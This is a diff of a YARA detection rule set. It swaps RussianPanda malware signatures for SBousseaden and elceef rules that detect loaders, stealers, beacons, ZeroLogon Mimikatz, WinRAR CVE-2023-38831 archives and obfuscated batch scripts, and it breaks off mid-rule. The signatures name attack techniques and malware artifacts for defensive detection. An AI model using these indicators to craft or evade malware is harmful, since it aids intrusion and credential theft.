+		description = "broad hunt for non MS wow64log module"
+		author = "SBousseaden"
+		id = "1d01917f-0690-5ede-947a-90fc86c03c38"
+		date = "2020-06-05"
+		modified = "2020-06-05"
+		reference = "http://waleedassar.blogspot.com/2013/01/wow64logdll.html"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/wow64log.yara#L3-L13"
 		license_url = "N/A"
-		logic_hash = "4968531f27fa1a8bc3fca536a04b75277adefc42addb9f1999c564510cbcb684"
+		logic_hash = "e8ec491fe579b7e57b7e9078515a9628cfc2e0f3645882b9a352ff28a2fcb817"
+		score = 50
+		quality = 75
+		tags = "FILE"
+
+	condition:
+		uint16(0)==0x5a4d and (pe.exports("Wow64LogInitialize") or pe.exports("Wow64LogMessageArgList") or pe.exports("Wow64LogSystemService") or pe.exports("Wow64LogTerminate"))
+}
+rule SBOUSSEADEN_TDL_Loader_Bootstrap_Shellcode : FILE
+{
+	meta:
+		description = "No description has been set in the source file - SBousseaden"
+		author = "SBousseaden"
+		id = "a2adedef-ba38-599f-b52c-e2156aa5ef98"
+		date = "2020-10-10"
+		modified = "2020-10-10"
+		reference = "https://github.com/hfiref0x/TDL"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/tdl_loader_bootstrat_shellcode.yara#L1-L9"
+		license_url = "N/A"
+		logic_hash = "14a993b415e330e284503c409ab66445c5e369a21ef0be37297d9c8946b5559b"
 		score = 75
-		quality = 83
-		tags = ""
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$s1 = {55 8b ec 8a 45 08 34 4a 5d c2 04 00}
-		$s2 = {4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 5C 00 53 00 65 00 61 00 4D 00 6F 00 6E 00 6B 00 65 00 79}
-		$s3 = {4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 20 00 54 00 68 00 75 00 6E 00 64 00 65 00 72 00 62 00 69 00 72 00 64 00}
-		$s4 = {53 00 6F 00 66 00 74 00 77 00 61 00 72 00 65 00 5C 00 4F 00 52 00 4C 00 5C 00 57 00 69 00 6E 00 56 00 4E 00 43 00 33 00 5C 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64}
-		$s5 = {53 00 6F 00 66 00 74 00 77 00 61 00 72 00 65 00 5C 00 45 00 78 00 63 00 69 00 74 00 65 00 5C 00 50 00 72 00 69 00 76 00 61 00 74 00 65 00 4D 00 65 00 73 00 73 00 65 00 6E 00 67 00 65 00 72 00 5C 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64}
-		$a = {44 45 4C 50 48 49 43 4C 41 53 53}
+		$shc1 = {41 B8 54 64 6C 53 48 63 6B 3C 48 03 EB 44 8B 7D 50 41 8D 97 00 10 00 00 41 FF D1}
+		$shc2 = {41 B8 54 64 6C 53 4C 63 73 3C 4C 03 F3 45 8B 7E 50 41 8D 97 00 10 00 00 41 FF D1 45 33 C9}
 
 	condition:
-		3 of ($s*) and $a
+		uint16(0)==0x5a4d and any of ($shc*)
 }
-rule RUSSIANPANDA_Win_Mal_Koi_Loader_Decrypted : FILE
+import "pe"
+
+rule SBOUSSEADEN_Shad0W_Beacon : FILE
 {
 	meta:
-		description = "Detects decrypted Koi Loader"
-		author = "RussianPanda"
-		id = "71de93d3-5c9f-5994-a54d-d4455d500280"
-		date = "2024-04-04"
-		modified = "2024-04-04"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Koi/win_mal_Koi_loader_decrypted.yar#L1-L12"
+		description = "Shad0w beacon default suspicous strings"
+		author = "SBousseaden"
+		id = "e725172d-dd07-5027-ac85-86d366881856"
+		date = "2020-06-04"
+		modified = "2020-06-05"
+		reference = "https://github.com/bats3c/shad0w"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w.yara#L3-L15"
 		license_url = "N/A"
-		hash = "1901593e0299930d46b963866f33a93b"
-		logic_hash = "f73ada7185ff109afe1e186a0fb7b4420b3d0e04c93c7c5423243db97eb34e49"
+		logic_hash = "9ea7cf72da0d93f607f58b61cc0fb5f3f114d4454101c69b08c59e6b61353550"
 		score = 75
-		quality = 85
+		quality = 73
 		tags = "FILE"
 
 	strings:
-		$s1 = {73 00 64 00 32 00 2E 00 70 00 73 00 31 00}
-		$s2 = {25 00 74 00 65 00 6D 00 70 00 25 00 5C 00 25 00 70 00 61 00 74 00 68 00 73 00 25}
+		$s1 = "LdrLoadD"
+		$s2 = {53 65 74 50 72 2A 65 73 73 4D}
+		$s3 = "Policy"
 
 	condition:
-		uint16(0)==0x5A4D and all of ($s*)
+		uint16(0)==0x5a4d and all of ($s*) and pe.sections[0].name=="XPU0" and pe.imports("winhttp.dll","WinHttpOpen")
 }
-rule RUSSIANPANDA_Win_Mal_Koi_Loader : FILE
+rule SBOUSSEADEN_Infinityhook : FILE
 {
 	meta:
-		description = "Detects Koi Loader"
-		author = "RussianPanda"
-		id = "a608558d-97c8-5161-a6eb-29fd420458a8"
-		date = "2024-04-04"
-		modified = "2024-04-04"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Koi/win_mal_Koi_loader.yar#L1-L14"
+		description = "Infinityhook is a legit research PoC to hook NT Syscalls bypassing PatchGuard"
+		author = "SBousseaden"
+		id = "82f4eef2-fca7-58b1-a85c-3c237f523740"
+		date = "2020-09-07"
+		modified = "2020-07-10"
+		reference = "https://github.com/everdox/InfinityHook"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/infinityhook.yara#L1-L17"
 		license_url = "N/A"
-		hash = "47e208687c2fb40bdbaa17e368aaa1bd"
-		logic_hash = "4f909865c6d274804c3fa7f66822d7bea71bb93e7c6a422ebaf220df056ac095"
+		logic_hash = "c621ce3be8049de7584af73ca4472df5561d3c4ac8b458937db2ad68fdcbe2d8"
 		score = 75
-		quality = 85
+		quality = 73
 		tags = "FILE"
 
 	strings:
-		$s1 = {27 11 68 05}
-		$s2 = {15 B1 B3 09}
-		$s3 = {B5 96 AA 0D}
-		$s4 = {74 [0-10] C1 E9 18}
+		$EtwpDebuggerPattern = {00 2C 08 04 38 0C 00}
+		$SMV = {00 00 76 66 81 3A 02 18 50 00 75 0E 48 83 EA 08 B8 33 0F 00}
+		$KVASCODE = {4B 56 41 53 43 4F 44 45}
+		$CKL = "Circular Kernel Context Logger" wide nocase
 
 	condition:
-		uint16(0)==0x5A4D and all of ($s*)
+		uint16(0)==0x5a4d and all of them
 }
-rule RUSSIANPANDA_Win_Mal_Koistealer_PS
+rule SBOUSSEADEN_Zerlologon_Mimikatz : FILE
 {
 	meta:
-		description = "Detects KoiStealer PowerShell script"
-		author = "RussianPanda"
-		id = "6dfdb39c-1b6a-5969-9c2d-e09869af6e0f"
-		date = "2024-04-04"
-		modified = "2024-04-04"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Koi/win_mal_KoiStealer_PS.yar#L1-L12"
+		description = "Generic Hunting rule for Mimikatz Implementation of ZeroLogon PrivEsc Exploit"
+		author = "SBousseaden"
+		id = "0fd32f14-d82d-5af4-b4a2-b21e2325ade8"
+		date = "2020-09-17"
+		modified = "2020-09-17"
+		reference = "https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200916"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_mimikatz_zerologon.yar#L1-L19"
 		license_url = "N/A"
-		hash = "4f55be0b55ec67dfda42b88e9c743a2a"
-		logic_hash = "8a60a1d770eb4b5048762ddfd4657fdf7a430b09eb454ae5a5bb3103460907db"
-		score = 75
-		quality = 85
-		tags = ""
+		logic_hash = "5b8d618e8e680acd4e5a9def4e3b56617080dec0c5787c3d6f948489346a6888"
+		score = 50
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$s1 = "index.php?id=$guid&subid="
-		$s2 = "$config"
+		$rch1 = "NetrServerReqChallenge"
+		$rch2 = "NetrServerReqChallenge" wide
+		$auth1 = "NetrServerAuthenticate2"
+		$auth2 = "NetrServerAuthenticate2" wide
+		$pwd1 = "NetrServerPasswordSet2"
+		$pwd2 = "NetrServerPasswordSet2" wide
+		$rpc1 = {78 56 34 12 34 12 CD AB EF 00 01 23 45 67 CF FB}
+		$rpc2 = {00 00 12 08 25 5C 11 08 25 5C 11 00 08 00 1D 00 08 00 02 5B 15 00 08 00 4C 00 F4 FF 5C 5B 11 04 F4 FF 11 08 08 5C 11 00 02 00 15 03 0C 00 4C 00 E4 FF 08 5B 11 04 F4 FF 11 00 08 00 1D 01 00 02 05 5B 15 03 04 02 4C 00 F4 FF 08 5B 11 04 0C 00 1D 00 10 00 4C 00 BE FF 5C 5B 15 00 10 00 4C 00 F0 FF 5C 5B 00}
+		$rpc3 = {00 48 00 00 00 00 04 00 28 00 31 08 00 00 00 5C 3C 00 44 00 46 05 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 0A 01 10 00 14 00 12 21 18 00 14 00 70 00 20 00 08 00 00 48 00 00 00 00 0F 00 40 00 31 08 00 00 00 5C 5E 00 60 00 46 08 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 14 00 12 21 28 00 14 00 58 01 30 00 08 00 70 00 38 00 08 00 00 48 00 00 00 00 1E 00 40 00 31 08 00 00 00 5C 8E 02 58 00 46 08 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 2A 00 12 41 28 00 2A 00 0A 01 30 00 42 00 70 00 38 00 08 00 00 48 00 00 00 00 2A 00 48 00 31 08 00 00 00 5C 56 00 40 01 46 09 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 2A 00 12 41 28 00 2A 00 12 41 30 00 5A 00 12 41 38 00 5A 00 70 00 40 00 08 00 00 00}
 
 	condition:
-		all of ($s*)
+		uint16(0)==0x5a4d and (1 of ($rch*) and 1 of ($auth*) and 1 of ($pwd*)) and 2 of ($rpc*)
 }
-rule RUSSIANPANDA_Win_Mal_Gobitloader : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: Elceef
+ * Repository: https://github.com/elceef/yara-rulz
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 05834717d1464d5efce8ad9d688ff7b53886a0bb
+ * Number of Rules: 17
+ * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * MIT License
+
+Copyright (c) 2022 Marcin Ulikowski
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+ */
+rule ELCEEF_Suspicious_SFX : FILE
 {
 	meta:
-		description = "Detects GoBitLoader"
-		author = "RussianPanda"
-		id = "4ebc7987-c1b2-5682-943f-7c19a9cb6b36"
-		date = "2024-03-24"
-		modified = "2024-03-24"
-		reference = "https://www.malwarebytes.com/blog/threat-intelligence/2024/03/new-go-loader-pushes-rhadamanthys"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/GoBitLoader/win_mal_GoBitLoader.yar#L1-L13"
-		license_url = "N/A"
-		logic_hash = "66951b290bef6a6c9eef4ea674472465dfe0ec5072dce21f48b58191f7ce90e3"
-		score = 75
-		quality = 79
+		description = "Detects self-extracting archives (SFX) executing cmd.exe or powershell.exe"
+		author = "marcin@ulikowski.pl"
+		id = "78f4ae8b-ba17-5c02-a6f0-66bec873aba8"
+		date = "2023-04-04"
+		modified = "2023-04-04"
+		reference = "https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_SFX.yara#L1-L22"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "688ed356e2fa936a0e07a8479591c28fb457053ed94351bad4bf367b02f04b0a"
+		score = 65
+		quality = 73
 		tags = "FILE"
 
 	strings:
-		$s1 = {6D 61 69 6E 2E 52 65 64 69 72 65 63 74 54 6F 50 61 79 6C 6F 61 64}
-		$s2 = {6D 61 69 6E 2E 48 6F 6C 6C 6F 77 50 72 6F 63 65 73 73}
-		$s3 = {6D 61 69 6E 2E 41 65 73 44 65 63 6F 64 65 2E 66 75 6E 63 31}
+		$rar = { 52 61 72 21 }
+		$zip = { 50 4b 03 04 }
+		$setup_cmd = "\nSetup=cmd"
+		$setup_powershell = "\nSetup=powershell"
+		$silent = "\nSilent=1"
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		filesize <1MB and uint16be(0)==0x4d5a and any of ($zip,$rar) and any of ($setup_*) and $silent
 }
-rule RUSSIANPANDA_Obfuscation_Powershell_Special_Chars
+rule ELCEEF_EICAR_Encrypted_ZIP
 {
 	meta:
-		description = "Detects PowerShell special character obfuscation"
-		author = "RussianPanda"
-		id = "dd2d41d4-3431-5252-adf1-d537f3b8db7e"
-		date = "2024-01-12"
-		modified = "2024-02-02"
-		reference = "https://perl-users.jp/articles/advent-calendar/2010/sym/11"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/PowerShell Obfuscation/obfuscation_powershell_special_chars.yar#L1-L15"
-		license_url = "N/A"
-		hash = "d77efad78ef3afc5426432597ba129141952719846bc5ccd058249bb23d8a905"
-		logic_hash = "4cc4ebffe7bf712b412a060536acc51d94381d24b46e5494195ae17482076cd6"
+		description = "Detects EICAR file in any encrypted ZIP archive"
+		author = "marcin@ulikowski.pl"
+		id = "c12d42de-356a-584b-9c48-71e65940f1cf"
+		date = "2022-12-13"
+		modified = "2022-12-16"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/EICAR_Encrypted_ZIP.yara#L14-L44"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "56851056671bde38338bd200d9fde59c042f35a2cd84ac9401e716f376c9502c"
 		score = 75
-		quality = 81
+		quality = 75
 		tags = ""
 
 	strings:
-		$s1 = {7d 3d 2b 2b 24 7b}
-		$s2 = {24 28 20 20 29}
-		$s3 = {24 7B [1-10] 7D 20 20 2B 20 20 24}
-		$s4 = {24 7B [1-10] 7D 24 7B}
+		$local = {
+			50 4b 03 04 // local file header signature (PK)
+			?? 00 // minimum version
+			?? 00 // flags (bit 0 and 6 indicate encryption)
+			?? 00 // compression method
+			?? ?? // last modification time
+			?? ?? // last modification date
+			?? ?? ?? ?? // CRC-32 of uncompressed and unencrypted data
+			?? ?? ?? ?? // compressed size
+			?? ?? ?? ?? // uncompressed size
+			}
 
 	condition:
-		2 of ($s*)
+		for any i in (1..#local) : (( uint8(@local[i]+6)&0x01 or uint8(@local[i]+6)&0x40) and uint32(@local[i]+14)==0x6851cf3c and uint32(@local[i]+22)==68)
 }
-rule RUSSIANPANDA_Mal_Narniarat : FILE
+rule ELCEEF_Winrar_CVE_2023_38831_Exploit : CVE_2023_38831 FILE
 {
 	meta:
-		description = "Detects NarniaRAT from BotnetFenix campaign"
-		author = "RussianPanda"
-		id = "64c3a44b-5d75-5fec-bfc1-b66a5eb5780c"
-		date = "2024-02-02"
-		modified = "2024-02-02"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/NarniaRAT/mal_NarniaRAT.yar#L1-L16"
-		license_url = "N/A"
-		hash = "43f6c3f92a025d12de4c4f14afa5d098"
-		logic_hash = "3ee8bf6b3970c6f56ca98c87752050217e350da160a650e1724b19f340bf0230"
+		description = "Detects ZIP archives exploiting CVE-2023-38831 in WinRAR"
+		author = "marcin@ulikowski.pl"
+		id = "7d592eb7-b344-59ed-adf8-fe69ebb1e43f"
+		date = "2023-09-23"
+		modified = "2023-09-28"
+		reference = "https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/WinRAR_CVE_2023_38831.yara#L1-L17"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "06f1d807429fb175831cf333b05b44b6ce33b4ae981e16c03e36ec7564a4fdd1"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 75
+		tags = "CVE-2023-38831, FILE"
+		hash1 = "00175d538cba0c493e397a0b7f4b28f9a90dd0ee40f69795ae28d23ce0d826c0"
+		hash2 = "ca8ca67df7853b86b6a107c8fd7f73b757de9143ea8844d0e6209249e8377885"
 
 	strings:
-		$s1 = "client-remote desktop"
-		$s2 = "SendDataToServer"
-		$s3 = "SendRunningApps"
-		$s4 = "SendDataToServer"
-		$s5 = "SendKeys"
-		$s6 = "_CorExeMain"
+		$ = { 50 4b 03 04 [24] 00 00 [3-64] 2e ?? ?? ?? 20 2f [3-64] 2e ?? ?? ?? 20 2e ( 626174 | 636d64 | 707331 ) }
 
 	condition:
-		uint16(0)==0x5A4D and 5 of them
+		uint16be(0)==0x504b and all of them
 }
-import "pe"
-
-rule RUSSIANPANDA_Andeloader
+rule ELCEEF_Obfuscated_IP_Address_In_URL
 {
 	meta:
-		description = "Detects Ande Loader"
-		author = "RussianPanda"
-		id = "c08d63b6-9fef-505d-9611-9dd0403c7c7c"
-		date = "2023-12-11"
-		modified = "2023-12-11"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/AndeLoader/ande_loader.yar#L3-L18"
-		license_url = "N/A"
-		logic_hash = "cd55153077e5cfbd84cbe5b062dbd842def245417acfea4ed6c2b1db702dcc81"
+		description = "Detects hexadecimal and octal IP address representations in URL"
+		author = "marcin@ulikowski.pl"
+		id = "f2ebf5f7-5446-5eaa-8e30-90d08b8616d9"
+		date = "2020-09-17"
+		modified = "2024-03-04"
+		reference = "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/evasive-urls-in-spam/"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Obfuscated_IPAddr_URL.yara#L1-L17"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "ab2a2a3a56e6eed9f4a3a8f994c89a167f00b86ce442820c81d8ee673b0ab85c"
 		score = 75
-		quality = 83
+		quality = 65
 		tags = ""
 
 	strings:
-		$s1 = {59 61 6E 6F 41 74 74 72 69 62 75 74 65}
-		$s2 = "CreateShortcut" wide
-		$s3 = ".vbs" wide
+		$ = /="?http:\/\/0[0-7]{1,3}\.0[0-7]{1,3}\.0[0-7]{1,3}\.0[0-7]{1,3}\.?\// nocase ascii wide
+		$ = /="?http:\/\/0x[0-9a-f]{8}\.?\// nocase ascii wide
+		$ = /="?http:\/\/0x[0-9a-f]{2}\.0x[0-9a-f]{2}\.0x[0-9a-f]{2}\.0x[0-9a-f]{2}\.?\// nocase ascii wide
+		$ = /="?http:\/\/[0-9]{8,10}\.?\// nocase ascii wide
 
 	condition:
-		3 of ($s*) and pe.imports("mscoree.dll")
+		any of them
 }
-rule RUSSIANPANDA_Sentinel_Stealer
+rule ELCEEF_HTML_Windows_Search_Abuse
 {
 	meta:
-		description = "Detects Sentinel Stealer"
-		author = "RussianPanda"
-		id = "8a221d7b-8fa6-53cd-a3e8-63cc67285186"
-		date = "2024-01-19"
-		modified = "2024-01-19"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/SentinelStealer/sentinel_stealer.yar#L1-L14"
-		license_url = "N/A"
-		hash = "3a540a8a81c5a5b452f154d7875423a3"
-		logic_hash = "b9d72848842ea4d26544633bb83fccd17239b28493bde3f73341eb2004d8ee0c"
+		description = "Detects HTML files abusing Windows system functionalities to redirect and download malicious payloads"
+		author = "marcin@ulikowski.pl"
+		id = "537cb46e-4cfc-517c-8d6d-0019f2c3e5ef"
+		date = "2024-06-15"
+		modified = "2024-06-16"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/HTML_Windows_Search.yara#L1-L22"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "6a0d490cf08ab0aad3c535645abe9ebc26d12768cf2a2e932cdb7ec93cf3e2bd"
 		score = 75
-		quality = 85
+		quality = 73
 		tags = ""
+		hash1 = "d136dcfc355885c502ff2c3be229791538541b748b6c07df3ced95f9a7eb2f30"
 
 	strings:
-		$s1 = "Sentinel.SmallerEncryptedIcon" wide
-		$s2 = "SentinelSteals" wide
-		$s4 = "_CorExeMain"
+		$location1 = "location.href" wide ascii
+		$location2 = "location.replace(" wide ascii
+		$location3 = "location.assign(" wide ascii
+		$metarefresh = "<meta http-equiv=\"refresh\"" nocase wide ascii
+		$search1 = "\"search-ms:query=" wide ascii
+		$search2 = "\"search:query=" wide ascii
+		$search3 = "URL=search:query=" wide ascii
+		$crumb1 = "&crumb=location:" wide ascii
+		$crumb2 = "&amp;crumb=location:" wide ascii
 
 	condition:
-		all of them
+		( any of ($location*) or $metarefresh) and any of ($search*) and any of ($crumb*)
 }
-rule RUSSIANPANDA_Purelogs_Stealer_Initial_Dropper : FILE
+rule ELCEEF_BAT_Obfuscated_Setenv
 {
 	meta:
-		description = "Detects PureLogs Stealer Initial Payload"
-		author = "RussianPanda"
-		id = "c1e6a0a0-f8ed-5b78-bcae-55c1c1dfc9e4"
-		date = "2024-01-10"
-		modified = "2024-01-10"
-		reference = "https://russianpanda.com/2023/12/26/Pure-Logs-Stealer-Malware-Analysis/"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Pure Logs Stealer/purelogs_stealer_initial_payload.yar#L1-L19"
-		license_url = "N/A"
-		logic_hash = "0fe94c705b94f82163f952d0a29aac4689947a1d439bdc1847ee510c25cf2e40"
+		description = "Detects batch script with obfuscated SET command located directly after @echo off"
+		author = "marcin@ulikowski.pl"
+		id = "999d192e-a792-5953-b9e2-de4b298444d3"
+		date = "2023-05-01"
+		modified = "2023-05-05"
+		reference = "https://twitter.com/wdormann/status/1651631372438585344"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_BAT.yara#L1-L20"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "da3a2245207d79cb720079cc2bc88d5f9db22fc16601d21e7c8dcea381ed11e9"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 75
+		tags = ""
+		hash1 = "a0f43c5748ada07a12af81dda2460045030f936a8d5081f3a403f85c2a9668f8"
+		hash2 = "1a0ca873412474a6437d33e48071aa0169f8317b5c996e1b10a41791707b2cf5"
+		hash3 = "83e47d4f3dd43ed01dc573f0b83e9e71f0ec75b6ea5712f640585d01d8aedf3c"
+		hash4 = "cf351a2b1f0a157a92be2e01e460140e2c1d0ee1685474144f2203a97d2de489"
 
 	strings:
-		$s1 = {73 ?? 00 00 06 28 ?? 00 00 ?? 2A}
-		$s2 = {28 ?? 00 00 06 74 ?? 00 00 1B 28 ?? 00 00 0A 2A}
-		$s3 = {28 ?? 00 00 ?? 75 ?? 00 00 01 72 ?? 00 00 70 6F ?? 00 00 0A 2A}
-		$s4 = {28 ?? 00 00 ?? 75 ?? 00 00 01 72 ?? 00 00 ?? 20 00 01 00 00 14 14 14 6F ?? 00 00 ?? 26}
-		$s5 = {28 ?? 00 00 ?? 73 ?? 00 00 [29] 73 15 00 00 0A [22] 28 01 00 00 2B 28 02 00 00 2B}
+		$s1 = { 40 65 63 68 6f 20 6f 66 66 0d 0a ( 73 65 25 | 73 25 | 25 ) [2-26] 3a 7e [0-6] 3? 25 ( 25 | 20 | 65 25 | 74 20 | 65 74 20 ) }
+		$s2 = { 40 65 63 68 6f 20 6f 66 66 0d 0a 73 65 74 20 22 [4] 3d 73 65 74 20 22 0d 0a 25 }
 
 	condition:
-		all of ($s*) and uint16(0)==0x5A4D and filesize <1MB
+		$s1 in (0..4) or $s2 in (0..4)
 }
-import "pe"
-
-rule RUSSIANPANDA_Purelogs_Stealer_Core : FILE
+rule ELCEEF_BAT_Chunked_Payload_Setenv
 {
 	meta:
-		description = "Detects Pure Logs Stealer Core Payload"
-		author = "RussianPanda"
-		id = "bda876c3-76ce-5e1e-8dd4-f06e8240fc11"
-		date = "2023-12-26"
-		modified = "2024-01-10"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Pure Logs Stealer/purelogs_stealer_core.yar#L3-L18"
-		license_url = "N/A"
-		logic_hash = "7388299ebcc70aeb86c46c29a787f790993a67148d9f3968def1109e45f69452"
+		description = "Detects batch script storing chunks of payload in random environment variables"
+		author = "marcin@ulikowski.pl"
+		id = "18f3ddac-bc19-5b54-891e-93271d59490a"
+		date = "2023-05-05"
+		modified = "2024-04-10"
+		reference = "https://github.com/elceef/yara-rulz"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_BAT.yara#L22-L37"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
+		logic_hash = "6b202d1a5723db664c7ca689c73fc1f84365801fd56fc9a035c8d3a0b6b2b9da"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 75
+		tags = ""
+		hash1 = "f73521adbf89be99c4d7ea74ebf7fed815af49ce4dc060656d7c9c631e4d0538"
 
 	strings:
-		$s1 = {7E 58 00 00 0A [15] 28 20 00 00 0A 18 6F 0A 02 00 0A 0B}
-		$s2 = {50 6C 67 43 6F 72 65}
-		$s3 = {7E 64 01 00 0A 28 65 01 00 0A}
+		$echo = "@echo off"
+		$set = { ( 0d 0a | 26 20 ) 73 65 74 20 22 [10] 3d [2-6] 22 }
 
 	condition:
-		all of ($s*) and filesize <5MB and pe.imports("mscoree.dll")
+		$echo in (0..4) and #set>10
 }
-import "pe"
-
-rule RUSSIANPANDA_Bandit_Stealer : FILE
+rule ELCEEF_BAT_Begin_Substring_Env
 {
 	meta:
-		description = "Detects the latest build of Bandit Stealer"
-		author = "RussianPanda"
-		id = "ed61177d-d70d-5062-8703-f2f2b9d63751"
-		date = "2023-05-05"
-		modified = "2023-05-05"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/BanditStealer/bandit_stealer.yar#L3-L21"
-		license_url = "N/A"
-		logic_hash = "304bf05a58d5b762ffe078457739188692f4f7109db929418832c4379b21ae72"
-		score = 50
-		quality = 85
-		tags = "FILE"
+		description = "Detects suspicious substring syntax at the begining of batch script"
+		author = "marcin@ulikowski.pl"
+		id = "3fca187b-d2e7-595c-9330-25141a54285b"
+		date = "2023-06-02"
+		modified = "2024-04-10"
+		reference = "https://cybersecurity.att.com/blogs/labs-research/seroxen-rat-for-sale"
+		source_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/rules/Suspicious_BAT.yara#L39-L55"
+		license_url = "https://github.com/elceef/yara-rulz/blob/05834717d1464d5efce8ad9d688ff7b53886a0bb/LICENSE"
